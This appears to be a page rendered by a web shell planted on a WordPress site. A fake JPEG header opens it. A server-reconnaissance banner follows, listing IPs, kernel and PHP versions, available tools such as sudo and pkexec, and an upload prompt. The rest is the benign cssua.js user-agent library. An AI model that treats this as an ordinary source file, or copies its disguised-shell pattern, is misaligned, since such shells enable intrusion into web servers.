????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 18.117.135.125 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.astacus.eu/wp-content/themes/Avada/assets/js/ |
Upload File : |
/** * CssUserAgent (cssua.js) v2.1.28 * http://cssuseragent.org * * Copyright (c)2006-2014 Stephen M. McKamey. * Licensed under The MIT License. */ /*jshint smarttabs:true, regexp:false, browser:true */ /** * @type {Object} */ var cssua = ( /** * @param html {Object} root DOM element * @param userAgent {string} browser userAgent string * @return {Object} */ function(html, userAgent, sa) { 'use strict'; /** * @const * @type {string} */ var PREFIX = ' ua-'; /** * @const * @type {RegExp} */ var R_Platform = /\s*([\-\w ]+)[\s\/\:]([\d_]+\b(?:[\-\._\/]\w+)*)/; /** * @const * @type {RegExp} */ var R_Version = /([\w\-\.]+[\s\/][v]?[\d_]+\b(?:[\-\._\/]\w+)*)/g; /** * @const * @type {RegExp} */ var R_BlackBerry = /\b(?:(blackberry\w*|bb10)|(rim tablet os))(?:\/(\d+\.\d+(?:\.\w+)*))?/; /** * @const * @type {RegExp} */ var R_Silk = /\bsilk-accelerated=true\b/; /** * @const * @type {RegExp} */ var R_FluidApp = /\bfluidapp\b/; /** * @const * @type {RegExp} */ var R_desktop = /(\bwindows\b|\bmacintosh\b|\blinux\b|\bunix\b)/; /** * @const * @type {RegExp} */ var R_mobile = /(\bandroid\b|\bipad\b|\bipod\b|\bwindows phone\b|\bwpdesktop\b|\bxblwp7\b|\bzunewp7\b|\bwindows ce\b|\bblackberry\w*|\bbb10\b|\brim tablet os\b|\bmeego|\bwebos\b|\bpalm|\bsymbian|\bj2me\b|\bdocomo\b|\bpda\b|\bchtml\b|\bmidp\b|\bcldc\b|\w*?mobile\w*?|\w*?phone\w*?)/; /** * @const * @type {RegExp} */ var R_game = /(\bxbox\b|\bplaystation\b|\bnintendo\s+\w+)/; /** * The root CssUserAgent * @type {Object} */ var cssua = { parse: /** * @param uaStr {string} * @return {Object} */ function(uaStr, sa) { /** * @type {Object} */ var ua = {}; if (sa) { ua.standalone = sa; } uaStr = (''+uaStr).toLowerCase(); if (!uaStr) { return ua; } var i, count, raw = uaStr.split(/[()]/); for (var j=0, rawCount=raw.length; j<rawCount; j++) { if (j%2) { // inside parens covers platform identifiers var platforms = raw[j].split(';'); for (i=0, count=platforms.length; i<count; i++) { if (R_Platform.exec(platforms[i])) { var key = RegExp.$1.split(' ').join('_'), val = RegExp.$2; // if duplicate entries favor highest version if ((!ua[key] || parseFloat(ua[key]) < parseFloat(val))) { ua[key] = val; } } } } else { // outside parens covers most version identifiers var uas = raw[j].match(R_Version); if (uas) { for (i=0, count=uas.length; i<count; i++) { var parts = uas[i].split(/[\/\s]+/); if (parts.length && parts[0] !== 'mozilla') { ua[parts[0].split(' ').join('_')] = parts.slice(1).join('-'); } } } } } if (R_mobile.exec(uaStr)) { // mobile device indicators ua.mobile = RegExp.$1; if (R_BlackBerry.exec(uaStr)) { delete ua[ua.mobile]; ua.blackberry = ua.version || RegExp.$3 || RegExp.$2 || RegExp.$1; if (RegExp.$1) { // standardize non-tablet blackberry ua.mobile = 'blackberry'; } else if (ua.version === '0.0.1') { // fix playbook 1.0 quirk ua.blackberry = '7.1.0.0'; } } } else if (R_desktop.exec(uaStr)) { // desktop OS indicators ua.desktop = RegExp.$1; } else if (R_game.exec(uaStr)) { // game console indicators ua.game = RegExp.$1; var game = ua.game.split(' ').join('_'); if (ua.version && !ua[game]) { ua[game] = ua.version; } } // platform naming standardizations if (ua.intel_mac_os_x) { ua.mac_os_x = ua.intel_mac_os_x.split('_').join('.'); delete ua.intel_mac_os_x; } else if (ua.cpu_iphone_os) { ua.ios = ua.cpu_iphone_os.split('_').join('.'); delete ua.cpu_iphone_os; } else if (ua.cpu_os) { ua.ios = ua.cpu_os.split('_').join('.'); delete ua.cpu_os; } else if (ua.mobile === 'iphone' && !ua.ios) { ua.ios = '1'; } // UA naming standardizations if (ua.opera && ua.version) { ua.opera = ua.version; // version/XXX refers to opera delete ua.blackberry; } else if (R_Silk.exec(uaStr)) { ua.silk_accelerated = true; } else if (R_FluidApp.exec(uaStr)) { ua.fluidapp = ua.version; } if (ua.applewebkit) { ua.webkit = ua.applewebkit; delete ua.applewebkit; if (ua.opr) { ua.opera = ua.opr; delete ua.opr; delete ua.chrome; } if (ua.safari) { if (ua.chrome || ua.crios || ua.opera || ua.silk || ua.fluidapp || ua.phantomjs || (ua.mobile && !ua.ios)) { delete ua.safari; } else if (ua.version && !ua.rim_tablet_os) { ua.safari = ua.version; } else { ua.safari = ({ '419': '2.0.4', '417': '2.0.3', '416': '2.0.2', '412': '2.0', '312': '1.3', '125': '1.2', '85': '1.0' })[parseInt(ua.safari, 10)] || ua.safari; } } } else if (ua.msie || ua.trident) { if (!ua.opera) { // standardize Internet Explorer ua.ie = ua.msie || ua.rv; } delete ua.msie; if (ua.windows_phone_os) { // standardize window phone ua.windows_phone = ua.windows_phone_os; delete ua.windows_phone_os; } else if (ua.mobile === 'wpdesktop' || ua.mobile === 'xblwp7' || ua.mobile === 'zunewp7') { ua.mobile = 'windows desktop'; ua.windows_phone = (+ua.ie < 9) ? '7.0' : (+ua.ie < 10) ? '7.5' : '8.0'; delete ua.windows_nt; } } else if (ua.gecko || ua.firefox) { ua.gecko = ua.rv; } if (ua.rv) { delete ua.rv; } if (ua.version) { delete ua.version; } return ua; }, format: /** * @param ua {Object} * @return {string} */ function (ua) { /** * @param b {string} browser key * @param v {string} browser value * @return {string} formatted CSS classes */ function format(b, v) { b = b.split('.').join('-'); /** * @type {string} */ var css = PREFIX+b; if (typeof v === 'string') { v = v.split(' ').join('_').split('.').join('-'); var i = v.indexOf('-'); while (i > 0) { // loop through chopping last '-' to end off // concat result onto return string css += PREFIX+b+'-'+v.substring(0, i); i = v.indexOf('-', i+1); } css += PREFIX+b+'-'+v; } return css; } /** * @type {string} */ var uaCss = ''; for (var b in ua) { if (b && ua.hasOwnProperty(b)) { uaCss += format(b, ua[b]); } } // user-agent classNames return uaCss; }, encode: /** * Encodes parsed userAgent object as a compact URI-Encoded key-value collection * @param ua {Object} * @return {string} */ function(ua) { var query = ''; for (var b in ua) { if (b && ua.hasOwnProperty(b)) { if (query) { query += '&'; } query += encodeURIComponent(b)+'='+encodeURIComponent(ua[b]); } } return query; } }; /** * @const * @type {Object} */ cssua.userAgent = cssua.ua = cssua.parse(userAgent, sa); /** * @const * @type {string} */ var ua = cssua.format(cssua.ua)+' js'; // append CSS classes to HTML node if (html.className) { html.className = html.className.replace(/\bno-js\b/g, '') + ua; } else { html.className = ua.substr(1); } return cssua; })(document.documentElement, navigator.userAgent, navigator.standalone);